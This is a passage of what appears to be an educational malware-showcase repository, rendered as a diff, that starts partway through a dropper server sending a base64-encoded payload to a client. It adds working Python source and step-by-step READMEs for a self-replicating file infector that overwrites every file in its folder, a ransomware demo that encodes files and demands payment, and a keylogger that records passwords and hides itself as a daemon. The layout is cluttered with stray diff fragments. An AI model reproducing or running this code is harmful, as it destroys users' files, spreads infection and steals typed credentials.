print('Server was not initialized due to an error.')
|
| 49 |
+
|
| 50 |
+
def send_malicious_code(self):
|
| 51 |
+
""" Send malware to the client once the connection is established. """
|
| 52 |
+
# Establish a connection with the client.
|
| 53 |
+
connection, address = self.socket.accept()
|
| 54 |
+
with connection:
|
| 55 |
+
print('Connection with dropper established from {}'.format(address))
|
| 56 |
+
# Send data to the client and shut down the server.
|
| 57 |
+
encoded_payload = base64.b64encode(self.malicious_code)
|
| 58 |
+
connection.send(encoded_payload)
|
| 59 |
+
|
| 60 |
+
|
| 61 |
+
if __name__ == '__main__':
|
| 62 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 63 |
+
|
| 64 |
+
# Create and initialize a server running on attacker's side.
|
| 65 |
+
server = Server(27000)
|
| 66 |
+
server.initialize()
|
| 67 |
+
# Send a payload to the dropper client once it establishes a connection.
|
| 68 |
+
server.send_malicious_code()
|
file_infection/README.md
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# File infection
|
| 2 |
+
|
| 3 |
+
Our **file infector** is implemented in the file `infector.py`. It infects all files in the same directory with its own code that allows it to spread in the future. When the targeted file is executed, it should perform the same malicious infection on other files as our own **file infector**.
|
| 4 |
+
|
| 5 |
+
#### Demonstration of behavior
|
| 6 |
+
|
| 7 |
+
Observe `target_file.ext` before the execution of **file infector**. It is a simple file located in the same directory as our **file infector**. To see the behavior of **file infector**, simply execute it in this folder (```./infector.py```). You should see something like this:
|
| 8 |
+
```
|
| 9 |
+
DEBUG:user:Infecting file: ./target_file.ext
|
| 10 |
+
DEBUG:user:Infecting file: ./infector.py
|
| 11 |
+
INFO:user:Number of infected files: 1
|
| 12 |
+
```
|
| 13 |
+
Our **file infector** has tried to infect every file in this folder, even itself, but has successfully infected only `target_file.ext` (explained below). Now move the infected file into folder `target_folder/` and execute it the same way as we have executed our **file infector** (`./target_file.ext`). You should see similar information as above but this time we have successfully infected `target_file_2.ext` by using the infected `target_file.ext`.
|
| 14 |
+
|
| 15 |
+
Creation of **file infector** is very simple process as it is described below and anyone can do it just with basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
|
| 16 |
+
|
| 17 |
+
#### How does it work?
|
| 18 |
+
|
| 19 |
+
- Firstly, we create our **file infector** and give it a name. <br>
|
| 20 |
+
```python
|
| 21 |
+
code_injector = FileInfector('SimpleFileInfector')
|
| 22 |
+
```
|
| 23 |
+
- Then we must **choose a folder** with files we want to infect. We call function *infect_files_in_folder*
|
| 24 |
+
that is provided by our **file infector** and pass the path to the folder as an argument. This function
|
| 25 |
+
returns the number of infected files. <br>
|
| 26 |
+
```python
|
| 27 |
+
number_infected_files = code_injector.infect_files_in_folder(path)
|
| 28 |
+
```
|
| 29 |
+
- The first thing that needs to be done is a lookup for all filenames in the same directory. This implementation ignores _README_ files, because **file infector** would infect this file as well if you execute it.
|
| 30 |
+
- The second step is to check whether the file has been already infected. If you run our **file infector** multiple times, you can see that it ignores files that it has already infected. This might be done by using some sort of mark left in the infected file together with injected code. In this case it is a string `INJECTION SIGNATURE` in the module docstring. Our **file infector** reads the content of the targeted file and if it contains this signature, malware continues with other files. <br>
|
| 31 |
+
```python
|
| 32 |
+
""" Implementation of file infector in Python.
|
| 33 |
+
INJECTION SIGNATURE
|
| 34 |
+
"""
|
| 35 |
+
```
|
| 36 |
+
- Because we expect the injected code to be executed, we must be sure that the targeted file has valid permissions for execution. To learn more about permissions, see [the guide to Linux permissions](https://www.linux.com/learn/understanding-linux-file-permissions).<br>
|
| 37 |
+
```python
|
| 38 |
+
os.chmod(file, 777)
|
| 39 |
+
```
|
| 40 |
+
- The last step is to write the code of **our own file** into the targeted file.
|
| 41 |
+
```python
|
| 42 |
+
with open(file, 'w') as infected_file:
|
| 43 |
+
infected_file.write(self.malicious_code)
|
| 44 |
+
```
|
| 45 |
+
- To obtain the **code of our own application**, we can simply read the source file. A name of the file is always passed as the first argument before the execution. We should obtain the name from this argument, because the infected files might have various names and the code should work in all of them. Because _malicious_code_ is a **cached property**, we
|
| 46 |
+
would access the source file only once.
|
| 47 |
+
```python
|
| 48 |
+
malicious_file = sys.argv[0]
|
| 49 |
+
with open(malicious_file, 'r') as file:
|
| 50 |
+
malicious_code = file.read()
|
| 51 |
+
```
|
| 52 |
+
|
file_infection/infector.py
ADDED
|
@@ -0,0 +1,95 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of file infector in Python.
|
| 4 |
+
INJECTION SIGNATURE
|
| 5 |
+
"""
|
| 6 |
+
|
| 7 |
+
import logging
|
| 8 |
+
import os
|
| 9 |
+
import sys
|
| 10 |
+
from cached_property import cached_property
|
| 11 |
+
|
| 12 |
+
|
| 13 |
+
class FileInfector:
|
| 14 |
+
""" This class represents the code injecting malware.
|
| 15 |
+
"""
|
| 16 |
+
|
| 17 |
+
def __init__(self, name):
|
| 18 |
+
self._name = name
|
| 19 |
+
|
| 20 |
+
@property
|
| 21 |
+
def name(self):
|
| 22 |
+
""" Name of the malware. """
|
| 23 |
+
return self._name
|
| 24 |
+
|
| 25 |
+
@name.setter
|
| 26 |
+
def name(self, new_name):
|
| 27 |
+
self._name = new_name
|
| 28 |
+
|
| 29 |
+
@cached_property
|
| 30 |
+
def malicious_code(self):
|
| 31 |
+
""" Malicious code. In the case of this file
|
| 32 |
+
injector it is this whole file.
|
| 33 |
+
"""
|
| 34 |
+
# Get the name of this file.
|
| 35 |
+
malicious_file = sys.argv[0]
|
| 36 |
+
with open(malicious_file, 'r') as file:
|
| 37 |
+
malicious_code = file.read()
|
| 38 |
+
|
| 39 |
+
return malicious_code
|
| 40 |
+
|
| 41 |
+
def infect_files_in_folder(self, path):
|
| 42 |
+
""" Perform file infection on all files in the
|
| 43 |
+
given directory specified by path.
|
| 44 |
+
|
| 45 |
+
:param str path: Path of the folder to be infected.
|
| 46 |
+
:returns: Number of injected files (`int`).
|
| 47 |
+
"""
|
| 48 |
+
num_infected_files = 0
|
| 49 |
+
# List the directory to get all files.
|
| 50 |
+
files = []
|
| 51 |
+
for file in os.listdir(path):
|
| 52 |
+
# For the demostration purposes ignore README.md
|
| 53 |
+
# from the repository.
|
| 54 |
+
if file == 'README.md':
|
| 55 |
+
continue
|
| 56 |
+
|
| 57 |
+
file_path = os.path.join(path, file)
|
| 58 |
+
if os.path.isfile(file_path):
|
| 59 |
+
files.append(file_path)
|
| 60 |
+
|
| 61 |
+
# Inject each file in the directory.
|
| 62 |
+
for file in files:
|
| 63 |
+
logging.debug('Infecting file: {}'.format(file))
|
| 64 |
+
|
| 65 |
+
# Read the content of the original file.
|
| 66 |
+
with open(file, 'r') as infected_file:
|
| 67 |
+
file_content = infected_file.read()
|
| 68 |
+
# Check whether the file was already infected by scanning
|
| 69 |
+
# the injection signature in this file. If so, skip the file.
|
| 70 |
+
if "INJECTION SIGNATURE" in file_content:
|
| 71 |
+
continue
|
| 72 |
+
|
| 73 |
+
# Ensure that the injected file is executable.
|
| 74 |
+
os.chmod(file, 777)
|
| 75 |
+
|
| 76 |
+
# Write the original and malicous part into the file.
|
| 77 |
+
with open(file, 'w') as infected_file:
|
| 78 |
+
infected_file.write(self.malicious_code)
|
| 79 |
+
|
| 80 |
+
num_infected_files += 1
|
| 81 |
+
|
| 82 |
+
return num_infected_files
|
| 83 |
+
|
| 84 |
+
|
| 85 |
+
if __name__ == '__main__':
|
| 86 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 87 |
+
|
| 88 |
+
# Create file injector.
|
| 89 |
+
code_injector = FileInfector('SimpleFileInfector')
|
| 90 |
+
|
| 91 |
+
# Infect all files in the same folder.
|
| 92 |
+
path = os.path.dirname(os.path.abspath(__file__))
|
| 93 |
+
number_infected_files = code_injector.infect_files_in_folder(path)
|
| 94 |
+
|
| 95 |
+
logging.info('Number of infected files: {}'.format(number_infected_files))
|
file_infection/target_file.ext
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
Just a normal file.
|
file_infection/target_folder/target_file_2.ext
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
Just a second normal file.
|
logo.svg
ADDED
|
|
ransomware/README.md
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Ransomware
|
| 2 |
+
|
| 3 |
+
Our **ransomware** is implemented in the file `ransomware.py`. It encrypts all files in the same directory and shows a ransom message, requesting financial amount of 0.1 USD for user to obtain the key. Once the user provides the correct key, it decrypts those files, otherwise they would stay encrypted.
|
| 4 |
+
|
| 5 |
+
#### Demonstration of behavior
|
| 6 |
+
|
| 7 |
+
Before the execution of **ransomware** observe `target_file.ext`. It is a simple file located in the same directory as out **ransomware**. To see the behavior of **ransomware**, simple execute it in this folder (`./ransomware`). You should see something like this:
|
| 8 |
+
|
| 9 |
+
```
|
| 10 |
+
DEBUG:root:Encrypting file: malware_showcase/ransomware/target_file.ext
|
| 11 |
+
Hi, all your files has been encrypted. Please send 0.1 USD on this address
|
| 12 |
+
to get a decryption key: XYZ.
|
| 13 |
+
Number of encrypted files: 1
|
| 14 |
+
Please enter a key:
|
| 15 |
+
```
|
| 16 |
+
|
| 17 |
+
Now do not type anything, just observe `target_file.ext` in the second terminal. You can see that its original content `Just an ordinary text file.` was encoded to `SnVzdCBhbiBvcmRpbmFyeSB0ZXh0IGZpbGUuCg==` (for the more experienced users it is obvious that it is a simple format of **base64**). However, this **ransomware** assumes that the user does not know the basics of cryptography. Now we have two options as the user. We might guess the key, in which case the program ends and our files stay encrypted, or we "send a payment to the bank address XYZ" and obtain the correct key:
|
| 18 |
+
```
|
| 19 |
+
Please enter a key: __ransomware_key
|
| 20 |
+
```
|
| 21 |
+
This triggers a decryption of data and as we can observe, the content of our file is restored.
|
| 22 |
+
|
| 23 |
+
Creation of basic **ransomware** is very simple process as it is described below and anyone can do it just with basics in programming and understandment of encryption. That's why we should be always cautious when we execute any uncommon or not trusted files.
|
| 24 |
+
|
| 25 |
+
#### How does it work?
|
| 26 |
+
|
| 27 |
+
- Firstly, we create our **ransomware** and give it a name. <br>
|
| 28 |
+
```python
|
| 29 |
+
ransomware = Ransomware('SimpleRansomware')
|
| 30 |
+
```
|
| 31 |
+
- Then we must **choose a folder** with files we want to encrypt. We call function *encrypt_files_in_folder* that is provided by our **ransomware** and pass the path to the folder as an argument. This function returns the number encrypted files. <br>
|
| 32 |
+
```python
|
| 33 |
+
number_encrypted_files = ransomware.encrypt_files_in_folder(path)
|
| 34 |
+
```
|
| 35 |
+
- The first thing that needs to be done is a lookup for all filenames in the same directory (function _get_files_in_folder(path)_). This implementation ignores _README_ files, because **ransomware** would encrypt also this file as well if you run it.
|
| 36 |
+
- Then we can simple encrypt each found file. The process of encryption is described below.
|
| 37 |
+
```python
|
| 38 |
+
for file in files:
|
| 39 |
+
logging.debug('Encrypting file: {}'.format(file))
|
| 40 |
+
self.encrypt_file(file)
|
| 41 |
+
```
|
| 42 |
+
- The encryption part is the most important. There are many ways of how to encrypt the files. Usually
|
| 43 |
+
the encryption key would take a part in encryption as well (with much stronger encryption algorithm), but for demonstration we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained). In this case we load the data from the file, encrypt them to base64 and then write them back to the file.
|
| 44 |
+
```python
|
| 45 |
+
# Load the content of file.
|
| 46 |
+
with open(filename, 'r') as file:
|
| 47 |
+
content = file.read()
|
| 48 |
+
# Encrypt the file content with base64.
|
| 49 |
+
encrypted_data = base64.b64encode(content.encode('utf-8'))
|
| 50 |
+
# Rewrite the file with the encoded content.
|
| 51 |
+
with open(filename, 'w') as file:
|
| 52 |
+
file.write(encrypted_data.decode('utf-8'))
|
| 53 |
+
```
|
| 54 |
+
- Once all files are encrypted, we can show our ransom message to the user, requesting money for the key.
|
| 55 |
+
- The decryption part is very similar to encryption. However, in this case we load the key and compare it with our default key `__ransomware_key`. If they are equal, we simply revert the previously done encryption. If the user enters a different key, the program ends and the files stay encrypted.
|
| 56 |
+
```python
|
| 57 |
+
# Obtain a key from the user.
|
| 58 |
+
key = self.obtain_key()
|
| 59 |
+
if key != self.key:
|
| 60 |
+
print('Wrong key!')
|
| 61 |
+
return
|
| 62 |
+
|
| 63 |
+
files = self.get_files_in_folder(path)
|
| 64 |
+
|
| 65 |
+
# Decrypt each file in the directory.
|
| 66 |
+
for file in files:
|
| 67 |
+
self.decrypt_file(key, file)
|
| 68 |
+
```
|
ransomware/ransomware.py
ADDED
|
@@ -0,0 +1,141 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
|
| 3 |
+
""" Implementation of simple ransomware in Python.
|
| 4 |
+
"""
|
| 5 |
+
|
| 6 |
+
import logging
|
| 7 |
+
import os
|
| 8 |
+
import sys
|
| 9 |
+
import base64
|
| 10 |
+
|
| 11 |
+
|
| 12 |
+
class Ransomware:
|
| 13 |
+
""" This class represents file encrypting ransomware.
|
| 14 |
+
"""
|
| 15 |
+
|
| 16 |
+
def __init__(self, name):
|
| 17 |
+
self._name = name
|
| 18 |
+
|
| 19 |
+
@property
|
| 20 |
+
def name(self):
|
| 21 |
+
""" Name of the malware. """
|
| 22 |
+
return self._name
|
| 23 |
+
|
| 24 |
+
@name.setter
|
| 25 |
+
def name(self, new_name):
|
| 26 |
+
self._name = new_name
|
| 27 |
+
|
| 28 |
+
@property
|
| 29 |
+
def key(self):
|
| 30 |
+
""" Key used for encryption of data. """
|
| 31 |
+
return "__ransomware_key"
|
| 32 |
+
|
| 33 |
+
def obtain_key(self):
|
| 34 |
+
""" Obtain key from a user. """
|
| 35 |
+
return input("Please enter a key: ")
|
| 36 |
+
|
| 37 |
+
def ransom_user(self):
|
| 38 |
+
""" Inform user about encryption of his files. """
|
| 39 |
+
print(
|
| 40 |
+
"Hi, all your files has been encrypted. Please "
|
| 41 |
+
"send 0.1 USD on this address to get decryption"
|
| 42 |
+
" key: XYZ."
|
| 43 |
+
)
|
| 44 |
+
|
| 45 |
+
def encrypt_file(self, filename):
|
| 46 |
+
""" Encrypt the given file with AES encryption algoritm.
|
| 47 |
+
:param str filename: Name of the file.
|
| 48 |
+
"""
|
| 49 |
+
# Load the content of file.
|
| 50 |
+
with open(filename, 'r') as file:
|
| 51 |
+
content = file.read()
|
| 52 |
+
# Encrypt the file content with base64.
|
| 53 |
+
encrypted_data = base64.b64encode(content.encode('utf-8'))
|
| 54 |
+
# Rewrite the file with the encoded content.
|
| 55 |
+
with open(filename, 'w') as file:
|
| 56 |
+
file.write(encrypted_data.decode('utf-8'))
|
| 57 |
+
|
| 58 |
+
def decrypt_file(self, key, filename):
|
| 59 |
+
""" Decrypt the given file with AES encryption algoritm.
|
| 60 |
+
:param str key: Decryption key.
|
| 61 |
+
:param str filename: Name of the file.
|
| 62 |
+
"""
|
| 63 |
+
# Load the content of file.
|
| 64 |
+
with open(filename, 'r') as file:
|
| 65 |
+
content = file.read()
|
| 66 |
+
# Decrypt the file content.
|
| 67 |
+
decrypted_data = base64.b64decode(content)
|
| 68 |
+
# Rewrite the file with the encoded content.
|
| 69 |
+
with open(filename, 'w') as file:
|
| 70 |
+
content = file.write(decrypted_data.decode('utf-8'))
|
| 71 |
+
|
| 72 |
+
def get_files_in_folder(self, path):
|
| 73 |
+
""" Returns a `list` of all files in the folder.
|
| 74 |
+
|
| 75 |
+
:param str path: Path to the folder
|
| 76 |
+
"""
|
| 77 |
+
# List the directory to get all files.
|
| 78 |
+
files = []
|
| 79 |
+
for file in os.listdir(path):
|
| 80 |
+
# For the demostration purposes ignore README.md
|
| 81 |
+
# from the repository and this file.
|
| 82 |
+
if file == 'README.md' or file == sys.argv[0]:
|
| 83 |
+
continue
|
| 84 |
+
|
| 85 |
+
file_path = os.path.join(path, file)
|
| 86 |
+
if os.path.isfile(file_path):
|
| 87 |
+
files.append(file_path)
|
| 88 |
+
|
| 89 |
+
return files
|
| 90 |
+
|
| 91 |
+
def encrypt_files_in_folder(self, path):
|
| 92 |
+
""" Encrypt all files in the given directory specified
|
| 93 |
+
by path.
|
| 94 |
+
|
| 95 |
+
:param str path: Path of the folder to be encrypted.
|
| 96 |
+
:returns: Number of encrypted files (`int`).
|
| 97 |
+
"""
|
| 98 |
+
num_encrypted_files = 0
|
| 99 |
+
files = self.get_files_in_folder(path)
|
| 100 |
+
|
| 101 |
+
# Encrypt each file in the directory.
|
| 102 |
+
for file in files:
|
| 103 |
+
logging.debug('Encrypting file: {}'.format(file))
|
| 104 |
+
self.encrypt_file(file)
|
| 105 |
+
num_encrypted_files += 1
|
| 106 |
+
|
| 107 |
+
self.ransom_user()
|
| 108 |
+
|
| 109 |
+
return num_encrypted_files
|
| 110 |
+
|
| 111 |
+
def decrypt_files_in_folder(self, path):
|
| 112 |
+
""" Decrypt all files in the given directory specified
|
| 113 |
+
by path.
|
| 114 |
+
|
| 115 |
+
:param str path: Path of the folder to be decrypted.
|
| 116 |
+
"""
|
| 117 |
+
# Obtain a key from the user.
|
| 118 |
+
key = self.obtain_key()
|
| 119 |
+
if key != self.key:
|
| 120 |
+
print('Wrong key!')
|
| 121 |
+
return
|
| 122 |
+
|
| 123 |
+
files = self.get_files_in_folder(path)
|
| 124 |
+
|
| 125 |
+
# Decrypt each file in the directory.
|
| 126 |
+
for file in files:
|
| 127 |
+
self.decrypt_file(key, file)
|
| 128 |
+
|
| 129 |
+
|
| 130 |
+
if __name__ == '__main__':
|
| 131 |
+
logging.basicConfig(level=logging.DEBUG)
|
| 132 |
+
|
| 133 |
+
# Create ransomware.
|
| 134 |
+
ransomware = Ransomware('SimpleRansomware')
|
| 135 |
+
|
| 136 |
+
# Encrypt files located in the same folder as our ransomware.
|
| 137 |
+
path = os.path.dirname(os.path.abspath(__file__))
|
| 138 |
+
number_encrypted_files = ransomware.encrypt_files_in_folder(path)
|
| 139 |
+
print('Number of encrypted files: {}'.format(number_encrypted_files))
|
| 140 |
+
|
| 141 |
+
ransomware.decrypt_files_in_folder(path)
|
ransomware/target_file.ext
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
Just an ordinary text file.
|
requirements.txt
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
scp==0.13.2
|
| 2 |
+
pyxhook==1.0.0
|
| 3 |
+
cached_property==1.5.1
|
| 4 |
+
paramiko==2.4.2
|
| 5 |
+
PySide2==5.13.0
|
| 6 |
+
python_daemon==2.2.3
|
setup_env.sh
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/bin/sh
|
| 2 |
+
# This script automates the creation of Python virtual environment.
|
| 3 |
+
|
| 4 |
+
if [ -d "virtualenv" ]; then
|
| 5 |
+
echo "Virtual environment 'virtualenv' found, activating it."
|
| 6 |
+
else
|
| 7 |
+
echo "Virtual environment not found, creating new 'virtualenv'."
|
| 8 |
+
python3 -m venv virtualenv
|
| 9 |
+
if [ $? -eq 0 ]; then
|
| 10 |
+
echo "Virtual environment was successfully created."
|
| 11 |
+
else
|
| 12 |
+
echo "Virtual environment was NOT created, aborting."
|
| 13 |
+
exit 1
|
| 14 |
+
fi
|
| 15 |
+
fi
|
| 16 |
+
|
| 17 |
+
source virtualenv/bin/activate
|
| 18 |
+
if [ $? -eq 0 ]; then
|
| 19 |
+
echo "Virtual environment is successfully activated."
|
| 20 |
+
else
|
| 21 |
+
echo "Virtual environment was NOT activated, aborting."
|
| 22 |
+
exit 1
|
| 23 |
+
fi
|
| 24 |
+
|
| 25 |
+
echo "Installing required packages."
|
| 26 |
+
pip3 install -r requirements.txt
|
| 27 |
+
if [ $? -eq 0 ]; then
|
| 28 |
+
echo "All requirements were successfully installed."
|
| 29 |
+
else
|
| 30 |
+
echo "Requirements were NOT installed properly, aborting."
|
| 31 |
+
exit 1
|
| 32 |
+
fi
|
| 33 |
+
|
| 34 |
+
echo "Done."
|
spyware/README.md
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Spyware
|
| 2 |
+
|
| 3 |
+
There exist many ways of spying on the victim. Our **spyware** is represented by **keylogger**, a simple program that monitors pressed keys on the keyboard and can see everything you type. This **keylogger** is implemented in the file `keylogger.py`.
|
| 4 |
+
|
| 5 |
+
#### Demonstration of behavior
|
| 6 |
+
|
| 7 |
+
We don't need any specific preparation before an execution of the keylogger (`./keylogger.py`). We can observe that after the execution nothing happened and we can type new commands, just like in the case of us pressing only the key `Enter`. Now you can do on your system anything you want. For the demonstration you can open a browser and type something like `Passwd` representing your potential password, just like you would do on any login page of your social media.
|
| 8 |
+
|
| 9 |
+
You can now spot that in the same folder as our **keylogger** is located a new file `activity.log`. By observing the file your can see that it contains all keys you have pressed on your keyboard after the execution, including your password `Passwd`. Attacker can easily access those file and modify the keylogger to send them on specific e-mail address or with a combination with different kind of malware he might gain direct access to them via network.
|
| 10 |
+
|
| 11 |
+
```
|
| 12 |
+
Key: P
|
| 13 |
+
Key: a
|
| 14 |
+
Key: s
|
| 15 |
+
Key: s
|
| 16 |
+
Key: w
|
| 17 |
+
Key: d
|
| 18 |
+
```
|
| 19 |
+
|
| 20 |
+
Creation of **keylogger** is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of operating systems. That's why we should be always cautions when we execute any uncommon or not trusted file.
|
| 21 |
+
|
| 22 |
+
#### How does it work?
|
| 23 |
+
|
| 24 |
+
- Firstly, we configure our logger. We can specify the file in which should be the data stored as well as a format of the message.
|
| 25 |
+
```python
|
| 26 |
+
logging.basicConfig(
|
| 27 |
+
level=logging.DEBUG,
|
| 28 |
+
filename='activity.log',
|
| 29 |
+
format='Key: %(message)s',
|
| 30 |
+
)
|
| 31 |
+
```
|
| 32 |
+
- Then we have to obtain the logging file handler. We will explain why in the next step.
|
| 33 |
+
```python
|
| 34 |
+
handler = logging.getLogger().handlers[0].stream
|
| 35 |
+
```
|
| 36 |
+
- To make our spyware harder to spot by the victim, we want it to run in the background as a **daemon**.
|
| 37 |
+
To learn more about daemons, see [the guide to daemons](https://kb.iu.edu/d/aiau). For this purpose we
|
| 38 |
+
will use a standart Python module `daemon` that will allow us to daemonize our **keylogger**.
|
| 39 |
+
When the the daemon is created, we will loose connections to all file handler like `stdout` or even
|
| 40 |
+
our logging file unless we specify that the files should be preserved. That's why we have obtained
|
| 41 |
+
logging file handler in the previous step. In the context of our hidden daemon we can now create the
|
| 42 |
+
keylogger and start its activity.
|
| 43 |
+
```python
|
| 44 |
+
# Daemonize the process to hide it from the victim.
|
| 45 |
+
with daemon.DaemonContext(files_preserve=[handler]):
|
| 46 |
+
# Create keylogger.
|
| 47 |
+
keylogger = Keylogger('SimpleSpyware')
|
| 48 |
+
# Start logging activity of the user.
|
| 49 |
+
keylogger.start_logging()
|
| 50 |
+
```
|
| 51 |
+
- For obtaining the _key press events_ we can use a python module for Linux called `pyxhook`. If we
|
| 52 |
+
would create a keylogger for Windows, we should use module `pyHook` instead, but their interface is
|
| 53 |
+
very similar. We create a **hooking manager**, that will manage event handling and allows us to
|
| 54 |
+
set a callback for those events. Callback is in our case a function that will be called each time a new
|
| 55 |
+
event is obtained (__keydown_callback_). The only thing this method does is logging the key into our
|
| 56 |
+
specified file `activity.log`.
|
| 57 |
+
```python
|
| 58 |
+
hook_manager = pyxhook.HookManager()
|
| 59 |
+
# Assign callback for handling key strokes.
|
| 60 |
+
hook_manager.KeyDown = self._keydown_callback
|
| 61 |
+
# Hook the keyboard and start logging.
|
| 62 |
+
hook_manager.HookKeyboard()
|
| 63 |
+
hook_manager.start()
|
| 64 |
+
```
|
spyware/keylogger.py
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
